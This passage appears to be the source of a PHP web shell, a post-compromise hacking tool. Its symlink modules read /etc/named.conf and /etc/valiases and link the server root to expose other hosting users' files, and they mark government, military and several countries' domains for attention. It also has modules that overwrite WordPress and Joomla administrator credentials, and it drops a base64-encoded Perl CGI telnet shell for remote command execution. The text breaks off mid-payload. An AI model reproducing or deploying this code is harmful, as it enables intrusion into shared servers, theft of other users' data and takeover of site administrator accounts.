<td align="center"> <font color="white"> <b>_USERS_</b></td>
<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
$named = file_get_contents("/etc/named.conf");
preg_match_all('%zone \"(.*)\" {%',$named,$domains);
foreach($domains[1] as $domain){
$domain = trim($domain);
$i += 1;
$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr>
<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
<td align='center'><font color='white'>".$owner['name']."</font></td>
<td align='center'><a href='dm4sym/dm.txt".$owner['dir']."/public_html' target='_blank'>Symlink</a></td>";
}
flush();
flush();
}
echo "</tr></table></div></html>"; 
 
}

# x=dmsym5
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym5')) {
@session_start();
@set_time_limit(0); 
@error_reporting(0);
@ini_set('log_errors',0); 
@ini_set('error_log',NULL);
@ini_set('max_execution_time',0);
if($win){
echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
} 
@mkdir('dm5sym',0777); 
$sempak  = "Options all 
 
DirectoryIndex dm.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any"; 
$masuk =@fopen ('dm5sym/.htaccess','w');
fwrite($masuk ,$sempak);
@symlink('/','dm5sym/dm.txt');  
$pg = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf) {
echo "<center><br/><br/><nobr><span class='b9'>Can't Read File etc/named.conf :(</span></nobr><br/><br/>"; 
} else {
echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ SYMLINK</span> <span class='b8'>ETC/NAMED.CONF II ]:=O</span></b></nobr><br/><br/> <table border='3' bordercolor='#FF0000' width='400' cellpadding='1' cellspacing='0'>
<td align='center'> <font color='white'> <b>_DOMAINS_</b></td>
<td align='center'> <font color='white'> <b>_USERS_</b></td>
<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone"(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','dm5sym/dm.txt');
$name = $string[1][0];
$australia = '\.au';
$bangladesh = '\.bd';
$brazil ='\.br'; 
$malaysia = '\.my';
$myanmar = '\.mm';
$indonesia = '\.id';
$israel = '\.il';
$romania = '\.ro'; 
$edu = '\.edu';
$gov = '\.gov';
$go = '\.go';
$gob = '\.gob';
$mil  = '\.mil';
if (eregi("$australia",$string[1][0]) or eregi("$bangladesh",$string[1][0]) or eregi("$brazil",$string[1][0]) or eregi("$malaysia",$string[1][0])or eregi("$myanmar",$string[1][0]) or eregi ("$indonesia",$string[1][0]) or eregi ("$israel",$string[1][0]) or eregi ("$romania",$string[1][0]) or eregi("$edu",$string[1][0]) or eregi("$gov",$string[1][0]) or eregi("$go",$string[1][0]) or eregi("$gob",$string[1][0]) or eregi("$mil",$string[1][0]) or eregi ("$mil2",$string[1][0]))
{ $name = "<div style=' color:yellow ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>'; }
echo "<tr>
<td><a class='dm' target='_blank' href=http://".$string[1][0].'/>'.$name.' </a></center></div></td>
<td align=center><font color=white>'.$UID['name']."</td>
<td align=center><a href='dm5sym/dm.txt/home/".$UID['name']."/public_html/' target='_blank'>Symlink </a></td></tr>";
flush();
}}}}
flush();
flush();
echo "</tr></table></div></html>"; 
 
} 

# x=dmsym6
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym6')) {
@session_start();
@set_time_limit(0); 
@error_reporting(0);
@ini_set('log_errors',0); 
@ini_set('error_log',NULL);
@ini_set('max_execution_time',0);
if($win){
echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
} 
@mkdir('dm6sym',0777); 
$sempak  = "Options all 
 
DirectoryIndex dm.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any"; 
$masuk =@fopen ('dm5sym/.htaccess','w');
fwrite($masuk ,$sempak);
@symlink('/','dm6sym/dm.txt');  
$pg = basename(__FILE__);
if(is_readable("/etc/valiases")){
echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/VALIASES ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="300" cellspacing="0" cellpadding="4">';
echo '<tr>
<td align="center"><font color="white"> <b>_DOMAINS_</b></td>
<td align="center"><font color="white"> <b>_USERS_</b></td>
<td align="center"><font color="white"> <b>SYMLINK</b></td>';
$list = scandir("/etc/valiases");
foreach($list as $domain){
$i += 1;
$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr>
<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
<td align='center'><font color='white'>".$owner['name']."</font></td>
<td align='center'><a href='dm6sym/dm.txt".$owner['dir']."/public_html' target='_blank'>Symlink</a>/td>";
}
flush();
flush();
}
echo "</tr></table></div></html>"; 
} 

# x=wp3
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp3')) { 

echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ WORDPRESS</span> <span class='b8'>PASS CHANGER ]:=O</span></b></nobr><br/><br/> ";
  
if(empty($_POST['pwd'])){
echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td>&nbsp;&nbsp;User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
 <tr><td>&nbsp;&nbsp;Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />&nbsp;

<input style='width:19%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd   = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());

$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
if($a4s){
echo "<br><br><b><nobr><span class='b11'> Password Change Successfully</span></nobr></b><br/>";
}
}
echo "</div>";
} 

# x=jm4
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm4')) {

echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ JOOMLA</span> <span class='b8'>PASS CHANGER ]:=O</span></b></nobr><br/><br/> ";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> 
<tr><td>&nbsp;&nbsp;Database</td><td>
<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> 
<tr><td>&nbsp;&nbsp;username</td><td>
<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> 
<tr><td>&nbsp;&nbsp;password</td><td>
<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
<tr><td>&nbsp;&nbsp;New User</td><td>
<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
<tr><td>&nbsp;&nbsp;New Pass </td>
<td>123456 = <input style='width:160px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />&nbsp;</td></tr>
<tr><td><input style='width:130%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
</td></tr></table><br>";
} else {
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd   = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<br><br><b><nobr><span class='b11'> Password Change Successfully</span></nobr></b><br/>";
}
}
echo "</div>";
} 
# x=cgi2012 
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) { 
echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ CGI TELNET</span> <span class='b8'> 2012 ]:=O</span></b></nobr><br/><br/> "; 
echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='telnet/telnet.cok' target='_blank'>[+] HERE [+]</a></center></span></br>"; 
mkdir('telnet', 0755);
chdir('telnet');
$htcok = ".htaccess";
$htaccesscok = "$htcok";
$file = fopen($htaccesscok , 'w');
$cacad = "AddHandler cgi-script .cok";    
fwrite ($file ,$cacad);
fclose ($file);
$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+RE1fWk9ORTwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiYW51IjsJCQkNCgkJCQkNCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5DR0kgVEVMTkVUPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogIzJCQThFQzsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI2ZmOTkwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQoNCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCgl2YXIgYWpheD0iIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cG